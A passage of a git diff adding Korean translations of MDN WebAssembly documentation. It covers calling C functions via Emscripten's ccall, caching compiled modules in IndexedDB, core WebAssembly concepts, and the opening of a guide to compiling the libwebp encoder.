+  <pre class="notranslate">document.querySelector('.mybutton')
+    .addEventListener('click', function() {
+        alert('check console');
+        var result = Module.ccall(
+            'myFunction',	// name of C function
+            null,	// return type
+            null,	// argument types
+            null	// arguments
+        );
+    });</pre>
+ </li>
+</ol>
+
+<p><code>ccall()</code><span>을 사용하여 내보낸 함수를 호출하는 방법이었습니다.</span></p>
+
+<h2 id="바깥_고리">바깥 고리</h2>
+
+<ul>
+ <li><a href="http://emscripten.org/">emscripten.org</a> — learn more about Emscripten and its large variety of options.</li>
+ <li><a href="https://kripken.github.io/emscripten-site/docs/porting/connecting_cpp_and_javascript/Interacting-with-code.html#calling-compiled-c-functions-from-javascript-using-ccall-cwrap">Calling compiled C functions from JavaScript using ccall/cwrap</a></li>
+ <li><a href="https://kripken.github.io/emscripten-site/docs/getting_started/FAQ.html#why-do-functions-in-my-c-c-source-code-vanish-when-i-compile-to-javascript-and-or-i-get-no-functions-to-process">Why do functions in my C/C++ source code vanish when I compile to JavaScript, and/or I get No functions to process?</a></li>
+ <li><a href="https://research.mozilla.org/webassembly/">WebAssembly on Mozilla Research</a></li>
+ <li>
+  <p><a href="https://developer.mozilla.org/en-US/docs/WebAssembly/existing_C_to_wasm">Compiling an Existing C Module to WebAssembly</a></p>
+ </li>
+</ul>
diff --git a/files/ko/webassembly/caching_modules/index.html b/files/ko/webassembly/caching_modules/index.html
new file mode 100644
index 0000000000..780c79839a
--- /dev/null
+++ b/files/ko/webassembly/caching_modules/index.html
@@ -0,0 +1,160 @@
+---
+title: Caching compiled WebAssembly modules
+slug: WebAssembly/Caching_modules
+translation_of: WebAssembly/Caching_modules
+---
+<div>{{WebAssemblySidebar}}</div>
+
+<div class="warning">
+<p><strong>Warning</strong>: Experimental {{jsxref("WebAssembly.Module")}} IndexedDB serialization은 브라우저로부터의 지원이 종료됩니다. {{bug("1469395")}} 와 <a href="https://github.com/WebAssembly/spec/issues/821">spec issue</a>를 확인해 보세요.</p>
+</div>
+
+<p class="summary">캐싱은 앱 성능 향상에 유용합니다. 컴파일 된 WebAssembly 모듈을 클라이언트에 저장할 수 있으므로 매번 다운로드하거나 컴파일 할 필요가 없습니다. 이 문서에서는 이 문제를 해결하는 모범 사례에 대해 설명합니다.</p>
+
+<h2 id="Caching_via_IndexedDB">Caching via IndexedDB</h2>
+
+<p><a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a>는 클라이언트 측에서 구조화 된 데이터를 저장하고 검색 할 수있는 트랜잭션 데이터베이스 시스템입니다. 텍스트, blobs 및 기타 유형의 복사 가능한 객체를 포함하여 응용 프로그램의 저장된 상태를 로컬에 저장하고 유지하는 데 적합합니다.</p>
+
+<p> </p>
+
+<p>여기에는 컴파일 된 wasm 모듈이 포함됩니다. ({{jsxref("WebAssembly.Module")}} JavaScript 객체).</p>
+
+<h2 id="Setting_up_a_caching_library">Setting up a caching library</h2>
+
+<p>IndexedDB는 다소 오래된 API이기 때문에 캐싱 코드 작성 속도를 높이고 최신 API와 함께 더 잘 작동하도록 라이브러리 기능을 제공하고자했습니다.</p>
+
+<p>우리의 <a href="https://github.com/mdn/webassembly-examples/blob/master/wasm-utils.js">wasm-utils.js</a> 라이브러리 스크립트에서 <code>instantiateCachedURL()</code>을 찾을 수 있습니다. 이 함수는 <code>url</code>의 wasm 모듈을 <code>dbVersion</code> 버전과 함께 가져 오고, 주어진 <code>importObject</code>로 인스턴스화한 다음 완료된 wasm 인스턴스로 promise resolving을 리턴합니다. 또한 컴파일 된 wasm 모듈을 캐시하기위한 데이터베이스 작성, 데이터베이스에 새 모듈 저장 시도 및 데이터베이스에서 이전에 캐시 된 모듈 검색하여 다시 다운로드하지 않게 해줍니다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: 지정된 URL뿐만 아니라 전체 사이트의 wasm 캐시는 함수에 전달 된 지정된 <code>dbVersion</code>에 의해 버전이 지정됩니다. wasm 모듈 코드가 업데이트되거나 URL이 변경되면 <code>dbVersion</code>을 업데이트해야합니다. 이후 <code>instantiateCachedURL()</code>을 호출하면 전체 캐시가 지워져 오래된 모듈을 사용하지 않도록 해줍니다.</p>
+</div>
+
+<p>이 함수는 몇 가지 필수 상수를 정의하여 시작합니다.</p>
+
+<pre class="brush: js">function instantiateCachedURL(dbVersion, url, importObject) {
+  const dbName = 'wasm-cache';
+  const storeName = 'wasm-cache';</pre>
+
+<h3 id="Setting_up_the_database">Setting up the database</h3>
+
+<p class="brush: js"><code>instantiateCachedURL()</code> 내부에 포함 된 첫 번째 도우미 함수인 <code>openDatabase()</code>은 wasm 모듈을 저장하기위한 객체 저장소를 만들고 <code>dbVersion</code>이 업데이트 된 경우 데이터베이스 지우기도합니다. 새 데이터베이스를 resolve한 promise를 반환합니다.</p>
+
+<pre class="brush: js">  function openDatabase() {
+    return new Promise((resolve, reject) =&gt; {
+      var request = indexedDB.open(dbName, dbVersion);
+      request.onerror = reject.bind(null, 'Error opening wasm cache database');
+      request.onsuccess = () =&gt; { resolve(request.result) };
+      request.onupgradeneeded = event =&gt; {
+        var db = request.result;
+        if (db.objectStoreNames.contains(storeName)) {
+            console.log(`Clearing out version ${event.oldVersion} wasm cache`);
+            db.deleteObjectStore(storeName);
+        }
+        console.log(`Creating version ${event.newVersion} wasm cache`);
+        db.createObjectStore(storeName)
+      };
+    });
+  }</pre>
+
+<h3 id="Looking_up_modules_in_the_database">Looking up modules in the database</h3>
+
+<p>다음 함수 <code>lookupInDatabase()</code>는 위에 작성한 객체 저장소에서 주어진 URL을 찾는 간단한 promise기반 작업을 제공합니다. resolve - 저장된 컴파일 된 모듈, reject - error.</p>
+
+<pre class="brush: js">  function lookupInDatabase(db) {
+    return new Promise((resolve, reject) =&gt; {
+      var store = db.transaction([storeName]).objectStore(storeName);
+      var request = store.get(url);
+      request.onerror = reject.bind(null, `Error getting wasm module ${url}`);
+      request.onsuccess = event =&gt; {
+        if (request.result)
+          resolve(request.result);
+        else
+          reject(`Module ${url} was not found in wasm cache`);
+      }
+    });
+  }</pre>
+
+<h3 id="Storing_and_instantiating_modules">Storing and instantiating modules</h3>
+
+<p> </p>
+
+<p>다음으로, 지정된 wasm 모듈을 주어진 데이터베이스에 저장하기 위해 비동기 연산을 시작하는 함수 <code>storeInDatabase()</code>를 정의합니다.</p>
+
+<pre class="brush: js">  function storeInDatabase(db, module) {
+    var store = db.transaction([storeName], 'readwrite').objectStore(storeName);
+    var request = store.put(module, url);
+    request.onerror = err =&gt; { console.log(`Failed to store in wasm cache: ${err}`) };
+    request.onsuccess = err =&gt; { console.log(`Successfully stored ${url} in wasm cache`) };
+  }</pre>
+
+<h3 id="Using_our_helper_functions">Using our helper functions</h3>
+
+<p>모든 Promise 기반 헬퍼 함수를 ​​정의하여 IndexedDB 캐시 조회의 핵심 로직을 표현할 수 있습니다. 우선 데이터베이스를 열어서, 주어진 <code>db</code>에 저장된 key <code>url</code>을 가진 컴파일 된 Module을 이미 가지고 있는지 확인합니다.</p>
+
+<p> </p>
+
+<pre class="brush: js">  return openDatabase().then(db =&gt; {
+    return lookupInDatabase(db).then(module =&gt; {</pre>
+
+<p>그렇게하면 주어진 import 객체로 인스턴스를 생성합니다.</p>
+
+<pre class="brush: js">      console.log(`Found ${url} in wasm cache`);
+      return WebAssembly.instantiate(module, importObject);
+    },</pre>
+
+<p> </p>
+
+<p>그렇지 않다면 처음부터 컴파일 한 다음 컴파일 된 모듈을 다음 번에 사용할 URL용 key와 함께 데이터베이스에 저장합니다.</p>
+
+<pre class="brush: js">    errMsg =&gt; {
+      console.log(errMsg);
+      return WebAssembly.instantiateStreaming(fetch(url)).then(results =&gt; {
+        storeInDatabase(db, results.module);
+        return results.instance;
+      });
+    })
+  },</pre>
+
+<div class="note">
+<p><strong>Note</strong>: {{jsxref("WebAssembly.instantiate()")}}가 {{jsxref("WebAssembly.Module()", "Module")}}및 {{jsxref("WebAssembly.Instance()", "Instance")}}를 반환하는 것은 이러한 종류의 사용을위한 것입니다. 모듈은 컴파일 된 코드를 나타내며 IDB에 저장 / 검색되거나 <code><a href="/en-US/docs/Web/API/MessagePort/postMessage">postMessage()</a></code>를 통해 Workers간에 공유 될 수 있습니다. 인스턴스는 상태 저장이며 호출 가능한 JavaScript 함수를 포함하므로 저장 / 공유 할 수 없습니다.</p>
+</div>
+
+<p>데이터베이스를 여는 것이 실패한 경우 (예 : 사용 권한 또는 할당량으로 인해) 모듈을 가져 와서 간단히 컴파일하고 결과를 저장하지 마십시오 (데이터베이스를 저장할 데이터베이스가 없으므로).</p>
+
+<pre class="brush: js">  errMsg =&gt; {
+    console.log(errMsg);
+    return WebAssembly.instantiateStreaming(fetch(url)).then(results =&gt; {
+      return results.instance
+    });
+  });
+}</pre>
+
+<h2 id="Caching_a_wasm_module">Caching a wasm module</h2>
+
+<p>위의 라이브러리 함수가 정의되면 wasm 모듈 인스턴스를 가져오고 내보낸 features를 사용할 때 (백그라운드에서 캐싱을 처리하는 동안) 다음 매개 변수를 사용하여 간단하게 호출 할 수 있습니다.</p>
+
+<ul>
+ <li>캐시 버전 - 위에서 설명한대로 wasm 모듈이 업데이트되거나 다른 URL로 이동하면 업데이트해야합니다.</li>
+ <li>인스턴스화 할 wasm 모듈의 URL.</li>
+ <li>가져오기 한 객체, (필요한 경우).</li>
+</ul>
+
+<pre class="brush: js">const wasmCacheVersion = 1;
+
+instantiateCachedURL(wasmCacheVersion, 'test.wasm').then(instance =&gt;
+  console.log("Instance says the answer is: " + instance.exports.answer())
+).catch(err =&gt;
+  console.error("Failure to instantiate: " + err)
+);</pre>
+
+<p>이 예제의 소스 코드는 GitHub에서 <a href="https://github.com/mdn/webassembly-examples/blob/master/other-examples/indexeddb-cache.html">indexeddb-cache.html</a>로 찾을 수 있습니다 (<a href="https://mdn.github.io/webassembly-examples/other-examples/indexeddb-cache.html">live</a>도 확인해보세요).</p>
+
+<h2 id="Browser_support">Browser support</h2>
+
+<p>현재이 기술은 Firefox와 Edge에서 모두 작동합니다. 둘 다 WebAssembly 모듈의 구조화 된 복제를 지원하기 때문입니다.</p>
+
+<p> </p>
+
+<p>Chrome은 WebAssembly 구조화 된 복제 지원 플래그 뒤에 구현 된 지원 기능을 가지고 있지만 일부 염려로 인해 기본적으로 이 기능을 사용하도록 설정하지 않았습니다 (예 : <a href="https://github.com/WebAssembly/design/issues/972">discussion</a> 참조).</p>
+
+<p>Safari는 아직 구현되지 않았습니다.</p>
diff --git a/files/ko/webassembly/concepts/index.html b/files/ko/webassembly/concepts/index.html
new file mode 100644
index 0000000000..605784b4b8
--- /dev/null
+++ b/files/ko/webassembly/concepts/index.html
@@ -0,0 +1,152 @@
+---
+title: 웹어셈블리의 컨셉
+slug: WebAssembly/Concepts
+translation_of: WebAssembly/Concepts
+---
+<div>{{WebAssemblySidebar}}</div>
+
+<p class="summary">본 글에서는 웹어셈블리의 작동원리 뒤에 숨어있는 컨셉을 설명함과 동시에 웹어셈블리의 목표, 웹어셈블리가 해결할 수 있는 문제, 그리고 웹브라우저 렌더링 엔진 안에서 웹어셈블리가 작동하는 원리에 관해 설명하려고 합니다.</p>
+
+<h2 id="웹어셈블리가_뭔가요">웹어셈블리가 뭔가요?</h2>
+
+<p>WebAssembly는 최신 웹 브라우저에서 실행할 수 있는 새로운 유형의 코드이며 새로운 기능과 성능 면에서 큰 이점을 제공합니다. 직접 코드를 작성하는 것이 아니라 C, C ++, RUST 등의 저급 소스 언어를 효과적으로 컴파일하도록 고안되었습니다.</p>
+
+<p>이는 웹 플랫폼에 큰 영향을 미칩니다. 이전에 불가능했던 웹에서 실행되는 클라이언트 응용 프로그램을 사용하여 웹에서 여러 언어로 작성된 코드를 네이티브에 가까운 속도로 실행하는 길을 제공합니다.</p>
+
+<p>게다가 WebAssembly 코드를 사용하여 이를 활용하는 방법을 알 필요조차 없습니다. WebAssembly 모듈을 웹 (또는 Node.js) 앱으로 가져와 JavaScript를 통해 사용할 수 있도록 할 수 있습니다. JavaScript 프레임 워크는 WebAssembly를 사용하여 대규모 성능 이점과 새로운 기능을 제공하면서도 웹 개발자가 쉽게 기능을 사용할 수 있도록 할 수 있습니다.</p>
+
+<h2 id="웹어셈블리의_목표">웹어셈블리의 목표</h2>
+
+<p>웹어셈블리는 <a href="https://www.w3.org/community/webassembly/">W3C 웹어셈블리 커뮤니티 그룹</a>에서 다음과 같은 목표들로 만들어지고 있는 열린 표준입니다:</p>
+
+<ul>
+ <li>빠르고, 효과적이고, 이식성이 좋을 것 — 웹어셈블리 코드는 <a href="http://webassembly.org/docs/portability/#assumptions-for-efficient-execution">일반적인 하드웨어들이 제공하는 기능</a>을 활용하여 여러종류의 플랫폼 위에서 거의 네이티브에 가까운 속도로 실행될 수 있습니다.</li>
+ <li>읽기 쉽고 디버깅이 가능할 것 — 웹어셈블리는 저수준 어셈블리 언어지만, 손으로 작성하고, 보고, 디버깅할 수는 있도록, 사람이 충분히 읽을 수 있는 수준의 텍스트 포맷을 갖고있습니다 (아직 스펙이 다듬어지는 중이긴 합니다).</li>
+ <li>안전함을 유지할 것 — 웹어셈블리는 샌드박싱된 실행환경에서 안전하게 돌아갈 수 있도록 설계되었습니다. 웹상의 다른 코드와 마찬가지로, 웹어셈블리 코드도 브라우저의 동일한 출처(same-origin)와 권한정책을 강제할 것입니다.</li>
+ <li>웹을 망가뜨리지 않을 것 — 웹어셈블리는 다른 웹 기술과 마찰없이 사용되면서 하위호환성을 관리할 수 있도록 설계되었습니다.</li>
+</ul>
+
+<div class="note">
+<p><strong>참고</strong>: 웹어셈블리는 웹과 자바스크립트 환경 밖에서도 사용될 것입니다. (<a href="http://webassembly.org/docs/non-web/">Non-web embeddings</a> 참고).</p>
+</div>
+
+<h2 id="WebAssembly는_웹_플랫폼에_어떻게_적용될까요">WebAssembly는 웹 플랫폼에 어떻게 적용될까요?</h2>
+
+<p>웹 플랫폼을 다음과 같이 두 부분으로 나눠서 생각해볼 수 있습니다:</p>
+
+<ul>
+ <li>자바스크립트같이 우리가 만든 앱을 구성하는 코드를 돌리는 가상머신(VM).</li>
+ <li>웹브라우저나 하드웨어의 기능을 호출해서 웹앱이 뭔가를 하도록 만들 수 있는 <a href="/en-US/docs/Web/API">Web API</a>의 집합 (<a href="/en-US/docs/Web/API/Document_Object_Model">DOM</a>, <a href="/en-US/docs/Web/API/CSS_Object_Model">CSSOM</a>, <a href="/en-US/docs/Web/API/WebGL_API">WebGL</a>, <a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a>, <a href="/en-US/docs/Web/API/Web_Audio_API">Web Audio API</a> 등등).</li>
+</ul>
+
+<p>이전까지 웹브라우저의 VM은 오직 자바스크립트만 불러올 수 있었습니다. 오늘날의 웹에서 사람들이 겪는 대부분의 문제를 해결하기에 자바스크립트가 충분히 잘 작동했다고 볼 수 있기는 합니다. 하지만 3D 게임이나, 가상/증강현실, 영상처리, 이미지/비디오 편집, 그 외 네이티브 성능을 필요로하는 여러 분야의 사례(<a href="http://webassembly.org/docs/use-cases/">웹어셈블리 사용례</a> 참고)에서는 성능상의 문제에 부딪혀왔죠.</p>
+
+<p>거기에 더해서 아주 큰 자바스크립트 애플리케이션을 다운받고 파싱하고 컴파일하는 비용은 감당하기 힘들 수가 있습니다. 모바일이라거나 다른 리소스가 많이 제한된 환경에서는 이런 성능병목현상이 더 두드러지게 나타나기도 합니다.</p>
+
+<p>WebAssembly는 자바스크립트와는 다른 언어이지만, 자바스크립트를 대체하기 위해서 만들어지지는 않았습니다. 대신 자바스크립트와 나란히 돌아가면서 서로의 부족한 점을 보완하여 웹개발자가 두 언어의 강점을 동시에 취할 수 있도록 설계되었죠:</p>
+
+<ul>
+ <li>자바스크립트는 웹 애플리케이션을 작성하기에 좋은 유연하고 표현력 있는 고수준 언어입니다. 게다가 동적타입 언어라 컴파일 과정이 필요 없고, 강력한 프레임웍, 라이브러리, 여타 도구들을 제공하는 거대한 생태계 또한 갖고 있습니다.</li>
+ <li>웹어셈블리는 어셈블리같이 컴팩트한 바이너리 포맷을 갖고있는 저수준 언어로써 네이티브에 가까운 성능을 제공하기도 하고, C++이나 Rust같이 저수준의 메모리 모델을 가진 언어의 컴파일 타겟으로써 그런 언어로 작성된 프로그램을 웹에서 돌릴 수 있게 해줍니다. (참고로 웹어셈블리는 미래에 가비지콜렉션 메모리 모델을 가진 언어들을 지원할 <a href="http://webassembly.org/docs/high-level-goals/">고수준 목표</a>도 갖고 있습니다.)</li>
+</ul>
+
+<p>브라우저에 WebAssembly 가 등장하면서 앞에서 이야기했던 VM은 이제 JavaScript와 WebAssembly 두 가지 유형의 코드를 불러오고 실행합니다.</p>
+
+<p>필요하면 다른 형식의 코드끼리 서로를 호출할 수도 있습니다 — <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly">웹어셈블리 자바스크립트 API</a>가 익스포트된 웹어셈블리 코드를 일반적으로 부를 수 있는 자바스크립트 함수로 감싸고, 웹어셈블리 코드에서도 동기적으로 일반 자바스크립트 함수를 호출할 수 있습니다. 사실 웹어셈블리의 기본 단위는 모듈이라고 불리고, 웹어셈블리 모듈은 여러모로 ES6 모듈과 대칭적입니다.</p>
+
+<h3 id="웹어셈블리의_핵심_컨셉">웹어셈블리의 핵심 컨셉</h3>
+
+<p>어떻게 웹어셈블리가 브라우저에서 돌아가는지 이해하기 위해서 필요한 몇가지 핵심 컨셉들이 있습니다. 이 모든 컨셉은 <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly">웹어셈블리 자바스크립트 API</a>에 반영돼있습니다.</p>
+
+<ul>
+ <li><strong>모듈</strong>: 실행 가능한 컴퓨터 코드로 브라우저에서 컴파일된 WebAssembly 바이너리입니다. 모듈은 stateless이며 <a href="/en-US/docs/Web/API/Blob">Blob</a>처럼 Windows와 <a href="/ko/docs/MDN/Doc_status/API/WebWorkers">worker</a> 간에  <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/MessagePort/postMessage">postMessage()</a></code>를 통해 명시적으로 공유 할 수 있습니다. 모듈은 ES2015 모듈과 마찬가지로 가져오기 및 내보내기를 선언합니다.</li>
+ <li><strong>메모리</strong>: 웹어셈블리의 저수준 메모리 접근 명령어에 의해 읽고 쓰여지는 바이트들의 선형 배열인, 사이즈 조절이 가능한 어레이버퍼(ArrayBuffer)입니다.</li>
+ <li><strong>테이블</strong>: (안전성이나 이식성 등을 위해서) 날(raw) 바이트로 메모리에 저장될 수 없는 (예를 들면 함수를 가리키는) 레퍼런스의, 사이즈 조절 가능한 형식 지정된 배열입니다.</li>
+ <li><strong>인스턴스</strong>: 모듈과 그 모듈이 사용하는 모든 상태의 쌍입니다. 모듈의 상태로는 메모리, 테이블, 임포트된 값의 집합 등이 있습니다. 인스턴스는 ES6 모듈처럼 특정한 전역에 특정한 임포트의 집합과 함께 로드됩니다.</li>
+</ul>
+
+<p>자바스크립트 API는 모듈, 메모리, 테이블, 인스턴스를 생성하는 방법을 제공합니다. 자바스크립트 코드에서는, 웹어셈블리 인스턴스에서 일반 자바스크립트 함수의 형태로 노출한 익스포트를 동기적으로 호출할 수 있습니다. 웹어셈블리 코드 또한, 웹어셈블리 인스턴스의 임포트 형식으로 넘겨받은 임의의 자바스크립트 함수를 동기적으로 호출할 수 있습니다.</p>
+
+<p>웹어셈블리 코드를 다운로드하고, 컴파일하고, 돌리는 일련의 과정을 온전히 자바스크립트로 제어할 수 있기 때문에, 자바스크립트 개발자는 웹어셈블리를 그저 효율적으로 고성능 함수를 생성하기 위한 자바스크립트의 기능이라고 생각해도 무방합니다.</p>
+
+<p>미래에는 웹어셈블리 모듈이 (<code>&lt;script type='module'&gt;</code>을 사용해서) <a href="https://github.com/WebAssembly/proposals/issues/12">ES2015모듈처럼 로드 가능하게 </a>될 것입니다. 이러면 웹어셈블리 모듈을 다운받고, 컴파일하고, 임포트하는 과정이 ES2015 모듈처럼 쉬워지게 되겠죠.</p>
+
+<h2 id="웹어셈블리를_써보고_싶은데_어떻게_시작해야하나요">웹어셈블리를 써보고 싶은데 어떻게 시작해야하나요?</h2>
+
+<p>웹어셈블리의 바이너리 포맷과 이 바이너리 코드를 불러와서 돌리는 API가 있다는 기초 컨셉에 대해서 알아보았으니, 이제 어떻게 이 컨셉을 실제로 사용할 수 있는지 알아봅시다.</p>
+
+<p>웹어셈블리 생태계는 이제 막 태동하는 단계입니다. 더 많은 도구들이 앞으로 쏟아져나오겠죠. 현재 네가지 방법이 있습니다:</p>
+
+<ul>
+ <li><a href="/ko/docs/Mozilla/Projects/Emscripten">엠스크립튼</a>으로 c/c++ 애플리케이션 포팅하기.</li>
+ <li>어셈블리 수준에서 바로 WebAssembly를 작성하거나 생성하기.</li>
+ <li>Rust 응용 프로그램을 작성하고 WebAssembly를 출력으로 지정합니다.</li>
+ <li>TypeScript와 비슷한 <a href="https://docs.assemblyscript.org/">AssemblyScript</a>를 사용하여 WebAssembly바이너리 컴파일.</li>
+</ul>
+
+<p>이 선택지들에 대해서 얘기해봅시다:</p>
+
+<h3 id="CC로부터_포팅하기">C/C++로부터 포팅하기</h3>
+
+<p>WASM 코드를 작성하기위한 많은 옵션 중 두 가지는 온라인 Wasm 어셈블러 또는 <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Projects/Emscripten">Emscripten</a>입니다. 다음과 같은 수많은 WASM 어셈블러 선택 항목이 있습니다.</p>
+
+<ul>
+ <li><a href="https://wasdk.github.io/WasmFiddle/">WasmFiddle</a></li>
+ <li><a href="https://anonyco.github.io/WasmFiddle/">WasmFiddle++</a></li>
+ <li><a href="https://mbebenita.github.io/WasmExplorer/">WasmExplorer</a></li>
+</ul>
+
+<p>이것들은 시작해야 할 곳을 찾는 사람들을 위한 훌륭한 자료이지만 도구 및 Emscripten과 같은 최적화가 부족합니다.</p>
+
+<p>Emscripten 도구를 사용하면 C/C++ 소스코드를 가져와서 .wasm 모듈로 컴파일하고, 이 모듈을 불러와서 돌리는데 필요한 자바스크립트 "접착제(glue)" 코드를 끼워넣고, HTML 문서에 코드의 실행결과를 출력할 수도 있습니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14647/emscripten-diagram.png" style="display: block; height: 104px; margin: 0px auto; width: 764px;"></p>
+
+<p>핵심만 요약하면 절차는 다음과 같습니다:</p>
+
+<ol>
+ <li>엠스크립튼은 우선 C/C++ 소스코드를 clang+LLVM (OSX의 XCode 등에 사용될 정도로 성숙한 오픈소스 C/C++ 컴파일러 툴체인) 에 던져줍니다.</li>
+ <li>엠스크립튼이 clang+LLVM의 컴파일 결과를 받아다가 .wasm 바이너리로 변환시켜줍니다.</li>
+ <li>웹어셈블리는 그 자체로는 DOM에 바로 접근할 수가 없습니다. 단지 자바스크립트를 호출하면서 정수나 부동소수점 기초 자료형을 넘겨줄 수 있을 뿐이죠. 따라서 웹 API에 접근하려면 웹 API를 호출하는 자바스크립트를 통할 필요가 있습니다. 그래서 엠스크립튼은 이걸 해주는 HTML과 자바스크립트 접착제 코드를 같이 생성해줍니다.</li>
+</ol>
+
+<div class="note">
+<p><strong>참고</strong>: 나중에는 <a href="http://webassembly.org/docs/gc/">웹어셈블리가 웹API를 바로 호출</a>하게 만들 계획입니다.</p>
+</div>
+
+<p>자바스크립트 접착제 코드가 아마 여러분이 생각하는 것처럼 단순하지는 않을 겁니다. 우선 엠스크립튼은 <a href="https://en.wikipedia.org/wiki/POSIX">POSIX</a>의 일부분과 <a href="https://en.wikipedia.org/wiki/Simple_DirectMedia_Layer">SDL</a>, <a href="https://en.wikipedia.org/wiki/OpenGL">OpenGL</a>, <a href="https://en.wikipedia.org/wiki/OpenAL">OpenAL</a>같은 유명 C/C++ 라이브러리를 직접 구현하는데요, 이 라이브러리들은 웹 API 위에서 구현돼야하기 때문에, 기저를 이루는 웹 API에 웹어셈블리를 연결시키기 위한 자바스크립트 접착제 코드가 각각의 라이브러리에 있어야 합니다.</p>
+
+<p>그래서 접착제 코드의 일부분은 C/C++ 코드에서 사용되는 각각의 라이브러리 기능을 구현하는 코드입니다. 그리고 상기한 웹어셈블리 자바스크립트 API를 사용해서 .wasm 파일을 불러와 실행하는 로직도 같이 담고있습니다.</p>
+
+<p>생성된 HTML문서는 자바스크립트 접착제 코드를 불러오고 표준출력(stdout)을 {{htmlelement("textarea")}}에 작성합니다. 만약 애플리케이션이 OpenGL을 사용하고있으면 HTML 안에 렌더링 타겟으로 사용되는 {{htmlelement("canvas")}} 엘리먼트가 포함됩니다. 이 엠스크립튼 출력물을 여러분의 웹앱에 맞도록 뜯어고치는 작업은 매우 쉽습니다.</p>
+
+<p>엠스크립튼에 대한 전체 문서는 <a href="http://emscripten.org">emscripten.org</a>에서 볼 수 있습니다. 툴체인을 구성하고 C/C++ 앱을 웹어셈블리로 컴파일하는 방법은 <a href="/ko/docs/WebAssembly/C_to_wasm">Compiling from C/C++ to WebAssembly</a> 문서를 참고하세요.</p>
+
+<h3 id="웹어셈블리를_직접_작성하기">웹어셈블리를 직접 작성하기</h3>
+
+<p>런타임에 웹어셈블리를 생성해내는 자바스크립트 라이브러리나, 여러분만의 컴파일러 또는 도구를 직접 만들고 싶으신가요?</p>
+
+<p>실제 하드웨어의 어셈블리 언어처럼, 웹어셈블리의 바이너리 포맷에도 그와 1:1로 대응하는 문자형 표현이 존재합니다. <a href="http://webassembly.org/getting-started/advanced-tools/">웹어셈블리 텍스트를 바이너리로 바꿔주는 도구들</a>을 활용해서 직접 작성한 텍스트 포맷을 바이너리 포맷으로 변환시켜볼 수 있습니다.</p>
+
+<p><a href="https://developer.mozilla.org/en-US/docs/WebAssembly/Text_format_to_wasm">웹어셈블리 텍스트 형식을 wasm으로 변환하기</a>에서는 이를 어떻게 하는지 간단하게 설명해줍니다. </p>
+
+<h3 id="Rust로_WebAssembly_작성하기">Rust로 WebAssembly 작성하기</h3>
+
+<p>Rust WebAssembly 워킹 그룹의 끊임없는 노력 덕분에 Rust 코드를 작성하고 WebAssembly로 컴파일 할 수 있습니다. 필요한 툴 체인을 설치하고, 샘플 Rust 프로그램을 WebAssembly npm 패키지로 컴파일하고, 샘플 웹 애플리케이션의 샘플 <a href="/ko/docs/WebAssembly/Rust_to_wasm">Compiling from Rust to WebAssembly</a> 글을 통해 시작할 수 있습니다.</p>
+
+<h3 id="AssemblyScript_사용하기">AssemblyScript 사용하기</h3>
+
+<p>AssemblyScript는 Rust 혹은 C를 자세히 배우지 않고 WebAssembly를 활용해 보고 싶은 개발자를 위한 최고의 선택지입니다. AssemblyScript는 작은 번들을 만들고 C나 Rust보단 느립니다. <a href="https://docs.assemblyscript.org/">https://docs.assemblyscript.org/</a> 문서에서 확인해 보실 수 있습니다.</p>
+
+<h2 id="요약">요약</h2>
+
+<p>이 글에서는 웹어셈블리가 무엇이고, 왜 유용한지, 웹에 어떻게 적합하며 어떻게 사용할 수 있는지에 대해 설명합니다.</p>
+
+<h2 id="바깥_고리">바깥 고리</h2>
+
+<ul>
+ <li><a href="https://hacks.mozilla.org/category/webassembly/">WebAssembly articles on Mozilla Hacks blog</a></li>
+ <li><a href="https://research.mozilla.org/webassembly/">WebAssembly on Mozilla Research</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/WebAssembly/Loading_and_running">Loading and running WebAssembly code</a> — find out how to load your own WebAssembly module into a web page.</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/WebAssembly/Using_the_JavaScript_API">Using the WebAssembly JavaScript API</a> — find out how to use the other major features of the WebAssembly JavaScript API.</li>
+</ul>
diff --git a/files/ko/webassembly/existing_c_to_wasm/index.html b/files/ko/webassembly/existing_c_to_wasm/index.html
new file mode 100644
index 0000000000..987443cf93
--- /dev/null
+++ b/files/ko/webassembly/existing_c_to_wasm/index.html
@@ -0,0 +1,171 @@
+---
+title: Compiling an Existing C Module to WebAssembly
+slug: WebAssembly/existing_C_to_wasm
+translation_of: WebAssembly/existing_C_to_wasm
+---
+<p>{{WebAssemblySidebar}}</p>
+
+<p class="summary">WebAssembly의 핵심 Use-case는 기존의 C 라이브러리 생태계를 사용하고 개발자가 웹에서 사용할 수 있도록하는 것입니다.</p>
+
+<p>이러한 라이브러리는 종종 C의 표준 라이브러리, 운영 체제, 파일 시스템 및 기타 사항에 의존합니다. Emscripten은 이러한 기능 대부분을 제공하지만 몇 가지 <a href="https://kripken.github.io/emscripten-site/docs/porting/guidelines/api_limitations.html">제한 사항</a>이 있습니다.</p>
+
+<p>예를 들어, WebP 용 인코더를 컴파일 해 봅시다. WebP(웹용 이미지 포맷) 코덱의 소스는 C로 작성되었으며 <a href="https://github.com/webmproject/libwebp">GitHub에서 사용가능</a>할뿐 아니라 광범위한 <a href="https://developers.google.com/speed/webp/docs/api">API documentation</a>로도 제공됩니다. 꽤 좋은 출발점입니다.</p>
+
+<pre class="brush: bash">$ git clone https://github.com/webmproject/libwebp</pre>
+
+<p>간단히 시작하려면 <code>webp.c</code>라는 C 파일을 작성하여 <code>encode.h</code>의 <code>WebPGetEncoderVersion()</code> 을 JavaScript로 노출 시키십시오.</p>
+
+<pre class="brush: cpp">#include "emscripten.h"
+#include "src/webp/encode.h"
+
+EMSCRIPTEN_KEEPALIVE
+int version() {
+  return WebPGetEncoderVersion();
+}</pre>
+
+<p>이 함수를 호출하기 위해 매개 변수 나 복잡한 데이터 구조가 필요 없기 때문에 libwebp의 소스 코드를 컴파일 할 수 있는지 여부를 테스트하는 좋은 간단한 프로그램입니다.</p>
+
